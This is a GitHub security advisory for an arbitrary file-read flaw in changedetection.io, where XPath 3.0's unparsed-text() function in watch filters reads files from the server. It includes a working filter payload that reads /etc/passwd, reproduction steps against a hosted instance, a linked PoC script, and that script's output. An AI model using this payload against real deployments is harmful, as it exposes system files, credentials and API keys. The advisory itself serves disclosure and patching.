GHSA-6fmw-82m7-jq6p

Source

https://github.com/advisories/GHSA-6fmw-82m7-jq6p

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6fmw-82m7-jq6p/GHSA-6fmw-82m7-jq6p.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-6fmw-82m7-jq6p

Aliases

Published

2026-03-04T20:59:35Z

Modified

2026-07-13T07:26:51Z

Severity

8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator

Summary

changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()

Details

Summary

The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.

Data Flow

User Input (include_filters field)
    ↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
    ↓
Watch configuration stored in datastore
    ↓
Scheduled fetch triggers html_tools.py processing
    ↓
html_tools.py:xpath_filter() at line 213
    ↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
    ↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
    ↓
File contents returned as "filtered content"
    ↓
Stored as snapshot, viewable in UI

Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220

def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
    # ...
    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions
    # ...
    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213

Validation (forms.py):

class ValidateCSSJSONXPATHInput:
    def __call__(self, form, field):
        # Only checks if XPath is syntactically valid
        # Does NOT check for dangerous functions like unparsed-text()

Details

Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
Create a new watch with any valid URL (e.g., https://example.com)
Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:

xpath:unparsed-text('file:///etc/passwd')

Save and trigger a recheck
View the preview/snapshot - the file contents will be displayed

PoC

python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py

python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd

╔═══════════════════════════════════════════════════════════════╗
║  XPath 3.0 Arbitrary File Read Exploit                        ║
║  Target: changedetection.io                                   ║
║  Vulnerability: unparsed-text() in XPath filters              ║
╚═══════════════════════════════════════════════════════════════╝
    
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...

[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
[*] Cleaning up (deleting watch)...

Impact

Read any file accessible to the application process
Exfiltrate sensitive configuration files, credentials, API keys
Read application source code
Access database files if file-based (SQLite)

Database specific

{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-04T20:59:35Z",
    "nvd_published_at":  "2026-03-06T07:16:01Z",
    "severity":  "HIGH"
}

References

Affected packages

PyPI / changedetection-io

Package

Name: changedetection-io; View open source insights on deps.dev
Purl: pkg:pypi/changedetection-io

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.54.4

Affected versions

0.*

0.38.2

0.39

0.39.1

0.39.2

0.39.3

0.39.4

0.39.5

0.39.6

0.39.7

0.39.8

0.39.9

0.39.10

0.39.10.post1

0.39.10.post2

0.39.11

0.39.12

0.39.13

0.39.13.1

0.39.14

0.39.14.1

0.39.15

0.39.16

0.39.17

0.39.17.1

0.39.17.2

0.39.18

0.39.19

0.39.19.1

0.39.20

0.39.20.1

0.39.20.2

0.39.20.3

0.39.20.4

0.39.21

0.39.21.1

0.39.22

0.39.22.1

0.40.0

0.40.0.1

0.40.0.2

0.40.0.3

0.40.0.4

0.40.1.0

0.40.1.1

0.40.2

0.40.3

0.41

0.41.1

0.42

0.42.1

0.42.2

0.42.3

0.43.1

0.43.2

0.44

0.44.1

0.45

0.45.1

0.45.2

0.45.3

0.45.4

0.45.5

0.45.6

0.45.7

0.45.7.1

0.45.7.2

0.45.7.3

0.45.8

0.45.8.1

0.45.9

0.45.11

0.45.12

0.45.13

0.45.14

0.45.15

0.45.16

0.45.17

0.45.18

0.45.19

0.45.20

0.45.21

0.45.22

0.45.23

0.45.24

0.45.25

0.45.26

0.46.0

0.46.1

0.46.2

0.46.3

0.46.4

0.47.0

0.47.1

0.47.2

0.47.3

0.47.4

0.47.5

0.47.6

0.48.0

0.48.1

0.48.2

0.48.3

0.48.4

0.48.5

0.48.6

0.49.0

0.49.1

0.49.2

0.49.3

0.49.4

0.49.5

0.49.6

0.49.7

0.49.8

0.49.9

0.49.10

0.49.12

0.49.13

0.49.14

0.49.15

0.49.16

0.49.17

0.49.18

0.50.1

0.50.2

0.50.3

0.50.4

0.50.5

0.50.6

0.50.7

0.50.8

0.50.9

0.50.10

0.50.11

0.50.12

0.50.13

0.50.14

0.50.15

0.50.16

0.50.17

0.50.18

0.50.19

0.50.20

0.50.21

0.50.22

0.50.23

0.50.24

0.50.25

0.50.26

0.50.27

0.50.28

0.50.29

0.50.30

0.50.31

0.50.32

0.50.33

0.50.34

0.50.35

0.50.37

0.50.38

0.50.39

0.50.40

0.50.41

0.50.42

0.50.43

0.51.0

0.51.1

0.51.2

0.51.3

0.51.4

0.52.1

0.52.2

0.52.3

0.52.4

0.52.5

0.52.6

0.52.7

0.52.8

0.52.9

0.53.1

0.53.2

0.53.3

0.53.4

0.53.5

0.53.6

0.53.7

0.54.1

0.54.2

0.54.3

Database specific

last_known_affected_version_range

"<= 0.54.3"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6fmw-82m7-jq6p/GHSA-6fmw-82m7-jq6p.json"